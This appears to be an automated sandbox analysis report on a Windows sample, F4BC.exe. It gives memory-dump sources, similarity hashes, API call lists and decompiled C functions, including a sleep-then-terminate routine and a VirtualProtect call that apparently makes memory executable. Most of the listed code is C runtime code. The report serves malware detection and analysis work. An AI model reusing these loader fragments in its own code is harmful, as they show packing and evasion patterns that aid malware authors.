Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: free$memcpy$mallocwcslen
String ID:
API String ID: 726966127-0
Opcode ID: 5c7b7bb3817ea86daae365c80c5e036228049141d00745b32d160c1d254800f2
Instruction ID: a1978c74b5bce8e8bf6bff77aa8c6c4d26791a9d8288a70caf523018dd8727ee
Opcode Fuzzy Hash: 5c7b7bb3817ea86daae365c80c5e036228049141d00745b32d160c1d254800f2
Instruction Fuzzy Hash: 14216FB1500704EFC720DF68D881C9BB7F5EF483247208A6EF456A7691D735B9158B98

Uniqueness

Uniqueness Score: -1.00%

Function 00405ADF, Relevance: 5.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00405ADF() {
				void* _t25;
				signed int _t27;
				signed int _t29;
				signed int _t31;
				signed int _t33;
				signed int _t50;
				signed int _t52;
				signed int _t54;
				signed int _t56;
				intOrPtr _t60;

				_t60 =  *0x41c470;
				if(_t60 == 0) {
					_t50 = 2;
					 *0x41c470 = 0x8000;
					_t27 = 0x8000 * _t50;
					 *0x41c474 = 0x100;
					 *0x41c478 = 0x1000;
					_push( ~(0 | _t60 > 0x00000000) | _t27);
					L0040B26C();
					 *0x41c458 = _t27;
					_t52 = 4;
					_t29 =  *0x41c474 * _t52;
					_push( ~(0 | _t60 > 0x00000000) | _t29);
					L0040B26C();
					 *0x41c460 = _t29;
					_t54 = 4;
					_t31 =  *0x41c474 * _t54;
					_push( ~(0 | _t60 > 0x00000000) | _t31);
					L0040B26C();
					 *0x41c464 = _t31;
					_t56 = 2;
					_t33 =  *0x41c478 * _t56;
					_push( ~(0 | _t60 > 0x00000000) | _t33);
					L0040B26C();
					 *0x41c45c = _t33;
					return _t33;
				}
				return _t25;
			}

0x00405adf
0x00405ae6
0x00405af5
0x00405af6
0x00405afb
0x00405b00
0x00405b0a
0x00405b18
0x00405b19
0x00405b1e
0x00405b2c
0x00405b2d
0x00405b36
0x00405b37
0x00405b3c
0x00405b4a
0x00405b4b
0x00405b54
0x00405b55
0x00405b5a
0x00405b68
0x00405b69
0x00405b72
0x00405b73
0x00405b7b
0x00000000
0x00405b7b
0x00405b80

APIs

??2@YAPAXI@Z.MSVCRT ref: 00405B19
??2@YAPAXI@Z.MSVCRT ref: 00405B37
??2@YAPAXI@Z.MSVCRT ref: 00405B55
??2@YAPAXI@Z.MSVCRT ref: 00405B73

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: fe94db315f44a6ad13eaa6f5e90a6aac049872e3421695f41c948c22f86c7b92
Instruction ID: f2da1691ca32ceef4ebb7ffb039160a3052a1a0853e807cf512b268ff05fa3b0
Opcode Fuzzy Hash: fe94db315f44a6ad13eaa6f5e90a6aac049872e3421695f41c948c22f86c7b92
Instruction Fuzzy Hash: 850121B12C63005EE758DB38EDAB77A36A4E748754F00913EA146CE1F5EB7454408E4C

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: F4BC.exe PID: 64 Parent PID: 3292 F4BC.exeCOMMON

Executed Functions

Function 0043C2B0, Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 202COMMON

Download Yara Rule

APIs

_puts.LIBCMTD ref: 0043C33A
__wrename.LIBCMTD ref: 0043C346
_labs.LIBCMTD ref: 0043C35D
_abort.LIBCMTD ref: 0043C365

Strings

&, xrefs: 0043C5E9
\H, xrefs: 0043C461
";, xrefs: 0043C532

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __wrename_abort_labs_puts
String ID: ";$&$\H
API String ID: 292434168-87063237
Opcode ID: af67581822671d2270b2c196c070466024ac75fe198b7c95e5e6522eb9214c0c
Instruction ID: 06d272ea84885d4165782999d4251079c00ef5987a77040a47c737416a675685
Opcode Fuzzy Hash: af67581822671d2270b2c196c070466024ac75fe198b7c95e5e6522eb9214c0c
Instruction Fuzzy Hash: 5881B1B0D40218DBDB249F61DD897AD77B0FB18349F1094AEE60976280C7782AC9DF5E

Uniqueness

Uniqueness Score: -1.00%

Function 00401915, Relevance: 3.1, APIs: 2, Instructions: 53
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00401915(void* __eflags, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __edi;
				intOrPtr _t8;
				void* _t11;
				intOrPtr _t13;
				intOrPtr* _t16;
				void* _t18;
				void* _t19;
				void* _t20;
				intOrPtr* _t21;
				intOrPtr* _t22;

				_t24 = __eflags;
				_push(0x194d);
				_t8 =  *_t21;
				_t22 = _t21 + 4;
				E00401253(_t8, 0x62, _t20, __eflags);
				_t16 = _a4;
				Sleep(0x1388);
				_t11 = E00401493(_t19, _t24, _t16, _a8, _a12,  &_v8); // executed
				_t25 = _t11;
				if(_t11 != 0) {
					E00401569(_t19, _t25, __fp0, _t16, _t11, _v8, _a16); // executed
				}
				 *_t16(0xffffffff, 0); // executed
				_push(0x194d);
				_t13 =  *_t22;
				_t18 = 0x62;
				return E00401253(_t13, _t18, _t20, _t25);
			}

0x00401915
0x00401924
0x00401929
0x0040192c
0x00401948
0x0040194d
0x00401955
0x00401963
0x00401968
0x0040196a
0x00401974
0x00401974
0x0040197d
0x00401987
0x0040198c
0x004019a2
0x004019b3

APIs

Sleep.KERNELBASE(00001388), ref: 00401955
NtTerminateProcess.NTDLL(000000FF,00000000), ref: 0040197D

Memory Dump Source

Source File: 0000001C.00000002.460618335.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 099dff6a8b47e7fe4885d49024a4f47d2f41acee3e9435d795ba4fc460fb35a3
Instruction ID: 9cae78af175e11272ae8b90b88a5797a908d329cf9c4202fe054e397abf3680d
Opcode Fuzzy Hash: 099dff6a8b47e7fe4885d49024a4f47d2f41acee3e9435d795ba4fc460fb35a3
Instruction Fuzzy Hash: 290171B5608204FBDB00AAD49C62EBA3658AF41764F204037F653790F1D57D9A12E7AB

Uniqueness

Uniqueness Score: -1.00%

Function 0040199B, Relevance: 3.0, APIs: 2, Instructions: 49
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E0040199B(void* __eax, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t11;
				void* _t14;
				intOrPtr _t16;
				intOrPtr* _t19;
				void* _t22;
				void* _t23;
				void* _t29;
				intOrPtr* _t31;
				intOrPtr* _t32;

				_t35 = __eflags;
				_t24 = __edi;
				if(__eflags > 0) {
					_push(0x194d);
					_t11 =  *_t31;
					_t32 = _t31 + 4;
					E00401253(_t11, 0x62, __edi, __eflags);
					_t19 =  *((intOrPtr*)(_t29 + 8));
					Sleep(0x1388);
					_t14 = E00401493(_t23, _t35, _t19,  *((intOrPtr*)(_t29 + 0xc)),  *((intOrPtr*)(_t29 + 0x10)), _t29 - 4); // executed
					_t36 = _t14;
					if(_t14 != 0) {
						E00401569(_t23, _t36, __fp0, _t19, _t14,  *((intOrPtr*)(_t29 - 4)),  *((intOrPtr*)(_t29 + 0x14))); // executed
					}
					 *_t19(0xffffffff, 0); // executed
					_push(0x194d);
					_t16 =  *_t32;
				} else {
					asm("invalid");
				}
				_t22 = 0x62;
				return E00401253(_t16, _t22, _t24, _t36);
			}

0x0040199b
0x0040199b
0x0040199c
0x00401924
0x00401929
0x0040192c
0x00401948
0x0040194d
0x00401955
0x00401963
0x00401968
0x0040196a
0x00401974
0x00401974
0x0040197d
0x00401987
0x0040198c
0x0040199e
0x0040199e
0x0040199e
0x004019a2
0x004019b3

APIs

Sleep.KERNELBASE(00001388), ref: 00401955
NtTerminateProcess.NTDLL(000000FF,00000000), ref: 0040197D

Memory Dump Source

Source File: 0000001C.00000002.460618335.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: ddbf13ae58c3712050d1dd293fcab7450f3712c013f606edc40a067e0a00e59e
Instruction ID: 4a89add6957e9532169c10ce73e929fc861f160d3915196474d8a8d24bfad6b0
Opcode Fuzzy Hash: ddbf13ae58c3712050d1dd293fcab7450f3712c013f606edc40a067e0a00e59e
Instruction Fuzzy Hash: 37014FB6608204EBDB00AED49C62EBD3254AF51764F204037F653B91F1C67D8A12E75B

Uniqueness

Uniqueness Score: -1.00%

Function 00401921, Relevance: 3.0, APIs: 2, Instructions: 47
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401921(signed int __eax, void* __edx, void* __edi, void* __esi, void* __fp0) {
				intOrPtr _t10;
				void* _t13;
				intOrPtr _t15;
				intOrPtr* _t18;
				void* _t21;
				void* _t27;
				intOrPtr* _t29;
				intOrPtr* _t30;
				signed int _t33;

				_t23 = __edi;
				_t22 = __edx;
				_push(__edx);
				_t33 = __eax & 0x194d681a;
				_push(0x194d);
				_t10 =  *_t29;
				_t30 = _t29 + 4;
				E00401253(_t10, 0x62, __edi, _t33);
				_t18 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_t13 = E00401493(_t22, _t33, _t18,  *((intOrPtr*)(_t27 + 0xc)),  *((intOrPtr*)(_t27 + 0x10)), _t27 - 4); // executed
				_t34 = _t13;
				if(_t13 != 0) {
					E00401569(_t22, _t34, __fp0, _t18, _t13,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_push(0x194d);
				_t15 =  *_t30;
				_t21 = 0x62;
				return E00401253(_t15, _t21, _t23, _t34);
			}

0x00401921
0x00401921
0x00401921
0x00401922
0x00401924
0x00401929
0x0040192c
0x00401948
0x0040194d
0x00401955
0x00401963
0x00401968
0x0040196a
0x00401974
0x00401974
0x0040197d
0x00401987
0x0040198c
0x004019a2
0x004019b3

APIs

Sleep.KERNELBASE(00001388), ref: 00401955
NtTerminateProcess.NTDLL(000000FF,00000000), ref: 0040197D

Memory Dump Source

Source File: 0000001C.00000002.460618335.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 29d52baf40a7baa6c93bb609f09647ddc9935efa1fd0e42c695563234ded56f7
Instruction ID: 4241600ca719e298d23384214460eb3e43b14b0f63518ababf685df4b463c681
Opcode Fuzzy Hash: 29d52baf40a7baa6c93bb609f09647ddc9935efa1fd0e42c695563234ded56f7
Instruction Fuzzy Hash: C7014FB6608204EBDB00AED48C61EA937689F51754F244177F653B90F1C63D8A12E76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401931, Relevance: 3.0, APIs: 2, Instructions: 47
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00401931(void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t8;
				void* _t11;
				intOrPtr _t13;
				intOrPtr* _t16;
				void* _t19;
				void* _t20;
				void* _t25;
				intOrPtr* _t27;
				intOrPtr* _t28;

				_t31 = __eflags;
				_t21 = __edi;
				_push(0xffffffb8);
				_push(0x194d);
				_t8 =  *_t27;
				_t28 = _t27 + 4;
				E00401253(_t8, 0x62, __edi, __eflags);
				_t16 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_t11 = E00401493(_t20, _t31, _t16,  *((intOrPtr*)(_t25 + 0xc)),  *((intOrPtr*)(_t25 + 0x10)), _t25 - 4); // executed
				_t32 = _t11;
				if(_t11 != 0) {
					E00401569(_t20, _t32, __fp0, _t16, _t11,  *((intOrPtr*)(_t25 - 4)),  *((intOrPtr*)(_t25 + 0x14))); // executed
				}
				 *_t16(0xffffffff, 0); // executed
				_push(0x194d);
				_t13 =  *_t28;
				_t19 = 0x62;
				return E00401253(_t13, _t19, _t21, _t32);
			}

0x00401931
0x00401931
0x00401931
0x00401924
0x00401929
0x0040192c
0x00401948
0x0040194d
0x00401955
0x00401963
0x00401968
0x0040196a
0x00401974
0x00401974
0x0040197d
0x00401987
0x0040198c
0x004019a2
0x004019b3

APIs

Sleep.KERNELBASE(00001388), ref: 00401955
NtTerminateProcess.NTDLL(000000FF,00000000), ref: 0040197D

Memory Dump Source

Source File: 0000001C.00000002.460618335.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 290d49b121409e3a0cc0d193eeaeb1b86e0553ed2989638274f96de6a98fd60c
Instruction ID: bebbd478cd730a8f72ad37019eb049644fa0a7b144af864f48702eee3110bb92
Opcode Fuzzy Hash: 290d49b121409e3a0cc0d193eeaeb1b86e0553ed2989638274f96de6a98fd60c
Instruction Fuzzy Hash: AD014FB5608204EBDB00AED48C61EB932549B51764F204137F653790F1C67D8912E75B

Uniqueness

Uniqueness Score: -1.00%

Function 00401938, Relevance: 3.0, APIs: 2, Instructions: 41
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00401938(void* __eax, void* __edi, void* __esi, void* __fp0) {
				void* _t13;
				intOrPtr _t15;
				intOrPtr* _t18;
				void* _t21;
				void* _t22;
				void* _t27;
				intOrPtr* _t29;
				intOrPtr _t32;

				_t23 = __edi;
				asm("sahf");
				_t1 = __eax - 0x6a;
				 *_t1 =  *((intOrPtr*)(__eax - 0x6a)) + __eax;
				_t32 =  *_t1;
				E00401253(__eax, 0x62, __edi, _t32);
				_t18 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_t13 = E00401493(_t22, _t32, _t18,  *((intOrPtr*)(_t27 + 0xc)),  *((intOrPtr*)(_t27 + 0x10)), _t27 - 4); // executed
				_t33 = _t13;
				if(_t13 != 0) {
					E00401569(_t22, _t33, __fp0, _t18, _t13,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_push(0x194d);
				_t15 =  *_t29;
				_t21 = 0x62;
				return E00401253(_t15, _t21, _t23, _t33);
			}

0x00401938
0x00401938
0x00401939
0x00401939
0x00401939
0x00401948
0x0040194d
0x00401955
0x00401963
0x00401968
0x0040196a
0x00401974
0x00401974
0x0040197d
0x00401987
0x0040198c
0x004019a2
0x004019b3

APIs

Sleep.KERNELBASE(00001388), ref: 00401955
NtTerminateProcess.NTDLL(000000FF,00000000), ref: 0040197D

Memory Dump Source

Source File: 0000001C.00000002.460618335.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: f1dfc82b2edf1998ce6fad828befbe7efb67e09aa529f2b59ac16e092b7cd58e
Instruction ID: 904472b47aca40ab56d2e87b1b4c82bc9686e4ff5f111b9f5b0aaa98af47cc4e
Opcode Fuzzy Hash: f1dfc82b2edf1998ce6fad828befbe7efb67e09aa529f2b59ac16e092b7cd58e
Instruction Fuzzy Hash: 7BF044B5604204EBDB00AFE49C91EAD3358AF45754F204177F616B90E1C67D8912E76B

Uniqueness

Uniqueness Score: -1.00%

Function 00422617, Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

__CrtCheckMemory.LIBCMTD ref: 0042263A
__heap_alloc_base.LIBCMTD ref: 004227C7
_memset.LIBCMT ref: 00422915
_memset.LIBCMT ref: 00422932
_memset.LIBCMT ref: 0042294D

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID:
API String ID: 4254127243-0
Opcode ID: f55d6634ac6145e3cf2c79d1dea3026d1df3d34abd7030617ef40d918e1c83a1
Instruction ID: 209a11bd134299074e11385dc2e542dd24e4f5ffae74ef8a4911f11d0b923fd9
Opcode Fuzzy Hash: f55d6634ac6145e3cf2c79d1dea3026d1df3d34abd7030617ef40d918e1c83a1
Instruction Fuzzy Hash: 8AB1AE70B00218EFDB14CF55EA85BAA77B0FB48314F60916AE8056B391C7B9AD40CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0043B8A0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(02B32044,02B32154,00000040,0043C5F7), ref: 0043B9AF

Strings

@, xrefs: 0043B8D9
kernel32.dll, xrefs: 0043B8C9

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID: @$kernel32.dll
API String ID: 544645111-4076271160
Opcode ID: 2d04289facf12007ccdffd0a71a528e25fa4216bd0d253028dfd85d0b057e596
Instruction ID: 9aef6d50c1893adca0f058d6a0de7571f6ef4fb851f96073145be1d715b3c3c5
Opcode Fuzzy Hash: 2d04289facf12007ccdffd0a71a528e25fa4216bd0d253028dfd85d0b057e596
Instruction Fuzzy Hash: E321812C40E6C08ED306C77CBD9866A3FA16727304F0841ADDB91672B6C27B9578CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 0042256F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON

Download Yara Rule

Strings

Qa, xrefs: 00422569

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID:
String ID: Qa
API String ID: 0-3901847582
Opcode ID: 54e606425bf2c52ce40dc11f730a501dae683f7e7ee7d8b5515a44b5cf1c9960
Instruction ID: ecdc5045f7e8b22a3c1406e0452a66379f3d5fbc4d06bf5acb05ab622d0b8505
Opcode Fuzzy Hash: 54e606425bf2c52ce40dc11f730a501dae683f7e7ee7d8b5515a44b5cf1c9960
Instruction Fuzzy Hash: 280108B160011AFBDB14CF54E654BAB73B4AB48304F50C15AF80587244D7BCDA91CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0041C870, Relevance: 3.0, APIs: 2, Instructions: 7COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMTD ref: 0041C875
___tmainCRTStartup.LIBCMTD ref: 0041C87A

Part of subcall function 0041C890: _check_managed_app.LIBCMTD ref: 0041C8ED
Part of subcall function 0041C890: __heap_init.LIBCMTD ref: 0041C8F5
Part of subcall function 0041C890: _fast_error_exit.LIBCMTD ref: 0041C900
Part of subcall function 0041C890: __mtinit.LIBCMTD ref: 0041C908
Part of subcall function 0041C890: _fast_error_exit.LIBCMTD ref: 0041C913
Part of subcall function 0041C890: __RTC_Initialize.LIBCMTD ref: 0041C925
Part of subcall function 0041C890: __ioinit.LIBCMTD ref: 0041C931
Part of subcall function 0041C890: ___crtGetEnvironmentStringsW.LIBCMTD ref: 0041C94F
Part of subcall function 0041C890: ___wsetargv.LIBCMTD ref: 0041C959
Part of subcall function 0041C890: __wsetenvp.LIBCMTD ref: 0041C96C
Part of subcall function 0041C890: __cinit.LIBCMTD ref: 0041C981
Part of subcall function 0041C890: __wwincmdln.LIBCMTD ref: 0041C99E

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _fast_error_exit$EnvironmentInitializeStartupStrings___crt___security_init_cookie___tmain___wsetargv__cinit__heap_init__ioinit__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3887909383-0
Opcode ID: 2c2b78fda9f7bf98e0a9c9869648c30fc7c8fd208615a193c28a8f35ee656e63
Instruction ID: ff29a9b4e7163cebefac6e67853bb7dfdf80d12cf883486909837451df9ced42
Opcode Fuzzy Hash: 2c2b78fda9f7bf98e0a9c9869648c30fc7c8fd208615a193c28a8f35ee656e63
Instruction Fuzzy Hash: B3A0223208030C02000033E33883E8A330C08C032C3C000ABB00C028030C2CA88200AE

Uniqueness

Uniqueness Score: -1.00%

Function 0042299C, Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004229FA

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 6c9a9cebdb7f04b3e1f18d0571a1b522f97abfb0a8d2ab69be2625cd2b2ccaa6
Instruction ID: 01cd4e95fff98e7e09b530589c2aee091bfbc093b7bd3c56748713f451d20dda
Opcode Fuzzy Hash: 6c9a9cebdb7f04b3e1f18d0571a1b522f97abfb0a8d2ab69be2625cd2b2ccaa6
Instruction Fuzzy Hash: 58012CB1A00108FBCB04DF98D981A9E73B5AB88314F50C159F9198B250D774EE518B94

Uniqueness

Uniqueness Score: -1.00%

Function 00424670, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,?,004268FE), ref: 00424677

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 74ebe90980ff84525567f3e1a00b41b8661479b10cc4bfab1013d10dc32df34a
Instruction ID: 55517b2789579e741b97ca7c1e2775b33a46f6c1eefcf645646359622b33a5cc
Opcode Fuzzy Hash: 74ebe90980ff84525567f3e1a00b41b8661479b10cc4bfab1013d10dc32df34a
Instruction Fuzzy Hash: 72A01132088208A3C2002282A80AB02BA0CC3CAB22F000020F20C0A0A20AB2A80280AA

Uniqueness

Uniqueness Score: -1.00%

Function 0043B880, Relevance: 1.3, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,02B32154,?,0043C4CE), ref: 0043B88B

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 93de479e159650909790eba55f18c751ee55fb1f3b537568e9b737e94576a69d
Instruction ID: 8bfb0f3dd71eec298076f61d407315d33c3de1fb5662b90e3e905635d41a6cfe
Opcode Fuzzy Hash: 93de479e159650909790eba55f18c751ee55fb1f3b537568e9b737e94576a69d
Instruction Fuzzy Hash: 83C092719C83089FE6049FD9FA09B2937ECE708B81F800462FF0C83764D6786C64CA65

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0042C7AE, Relevance: 70.4, APIs: 24, Strings: 16, Instructions: 431COMMON

Download Yara Rule

APIs

__invoke_watson_if_error.LIBCMTD ref: 0042C7F2
__invoke_watson_if_error.LIBCMTD ref: 0042CA13

Part of subcall function 0041DA80: __invoke_watson.LIBCMTD ref: 0041DAA1

_wcscat_s.LIBCMTD ref: 0042CA0A

Part of subcall function 0042F930: __invalid_parameter.LIBCMTD ref: 0042F9A2

_wcscat_s.LIBCMTD ref: 0042CA42

Part of subcall function 0042F930: _memset.LIBCMT ref: 0042FA0B
Part of subcall function 0042F930: __invalid_parameter.LIBCMTD ref: 0042FA67

__invoke_watson_if_error.LIBCMTD ref: 0042CA4B
__snwprintf_s.LIBCMTD ref: 0042CAA4

Part of subcall function 0042E3E0: __vsnprintf_s_l.LIBCMTD ref: 0042E402

__invoke_watson_if_oneof.LIBCMTD ref: 0042CADD
_wcscpy_s.LIBCMTD ref: 0042CB22
__invoke_watson_if_error.LIBCMTD ref: 0042CB2B
__invoke_watson_if_oneof.LIBCMTD ref: 0042CBCE
_wcscpy_s.LIBCMTD ref: 0042CC06
__invoke_watson_if_error.LIBCMTD ref: 0042CC0F
__itow_s.LIBCMTD ref: 0042C7E9

Part of subcall function 00433CE0: _xtow_s@20.LIBCMTD ref: 00433D0B

__strftime_l.LIBCMTD ref: 0042C8A9
__invoke_watson_if_oneof.LIBCMTD ref: 0042C8E2
_wcscpy_s.LIBCMTD ref: 0042C927
__invoke_watson_if_error.LIBCMTD ref: 0042C930
_wcscpy_s.LIBCMTD ref: 0042C983
__invoke_watson_if_error.LIBCMTD ref: 0042C98C
__invoke_watson_if_error.LIBCMTD ref: 0042C9C6

Strings

_VCrtDbgReportA, xrefs: 0042C7CD, 0042C8CC, 0042C90C, 0042C966, 0042C9A0, 0042C9EF, 0042CA27, 0042CAC7, 0042CB07, 0042CBB9, 0042CBEB, 0042CE43
strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042C911
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042CB0C
Second Chance Assertion Failed: File , xrefs: 0042C7FA
Pn/, xrefs: 0042C9BC
strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!"), xrefs: 0042C96B
strcat_s(szLineMessage, 4096, szUserMessage), xrefs: 0042C9A5
Assertion failed: , xrefs: 0042C944
_CrtDbgReport: String too long or IO Error, xrefs: 0042C916, 0042CB11
, Line , xrefs: 0042C82D
strcat_s(szLineMessage, 4096, "\n"), xrefs: 0042CA2C
%s(%d) : %s, xrefs: 0042CA8E
Assertion failed!, xrefs: 0042C950
strcat_s(szLineMessage, 4096, "\r"), xrefs: 0042C9F4
_itoa_s(nLine, szLineMessage, 4096, 10), xrefs: 0042C7D2, 0042CE48
<file unknown>, xrefs: 0042C816

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __invoke_watson_if_error$_wcscpy_s$__invoke_watson_if_oneof$__invalid_parameter_wcscat_s$__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnprintf_s_l_memset_xtow_s@20
String ID: %s(%d) : %s$, Line $<file unknown>$Assertion failed!$Assertion failed: $Pn/$Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_VCrtDbgReportA$_itoa_s(nLine, szLineMessage, 4096, 10)$strcat_s(szLineMessage, 4096, "\n")$strcat_s(szLineMessage, 4096, "\r")$strcat_s(szLineMessage, 4096, szUserMessage)$strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")
API String ID: 2137535789-614997239
Opcode ID: eba2b1277f9aa8bf3177aad56a06414ac05c72f265dd34ec0f6dbd3407fd69c9
Instruction ID: 8792db20176269bf33105a4831fb86c5348de2c783d988b87ce9105f34e9a6f6
Opcode Fuzzy Hash: eba2b1277f9aa8bf3177aad56a06414ac05c72f265dd34ec0f6dbd3407fd69c9
Instruction Fuzzy Hash: 9F02A4B1E40328ABDB24DF11DC46BDE7774AF18746F5040AAF6087A2C1D7B85A84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00439093, Relevance: 35.4, APIs: 15, Strings: 5, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00439122
_get_int64_arg.LIBCMTD ref: 0043914A
__aullrem.LIBCMT ref: 004392EF
__aulldiv.LIBCMT ref: 00439311
_write_multi_char.LIBCMTD ref: 00439418
_write_string.LIBCMTD ref: 00439433
_write_multi_char.LIBCMTD ref: 0043945F
_wctomb_s.LIBCMTD ref: 004394DC

Strings

("Incorrect format specifier", 0), xrefs: 0043874D, 00438793
_output_s_l, xrefs: 0043878E
-, xrefs: 004393B8
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00438759, 00438789
9, xrefs: 00439322

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$9$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3451365851-3266125857
Opcode ID: f35fc962835ba044cef7faa20da4ac152a9f0aac400ee73799544dae8bb6cb8b
Instruction ID: 0b825fded8eb9a505779d72491c409fa00d4a5ab66cd2826ac0ba36177ec6554
Opcode Fuzzy Hash: f35fc962835ba044cef7faa20da4ac152a9f0aac400ee73799544dae8bb6cb8b
Instruction Fuzzy Hash: EAF15DB1D016299FDF24CF58CC89BAEB7B1BB48304F1051DAE409A7281D7785E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043A435, Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043A4CA
_get_int64_arg.LIBCMTD ref: 0043A4F2
__aullrem.LIBCMT ref: 0043A69A
__aulldiv.LIBCMT ref: 0043A6BC
_write_multi_char.LIBCMTD ref: 0043A7D5
_write_string.LIBCMTD ref: 0043A7F0
_write_multi_char.LIBCMTD ref: 0043A81C
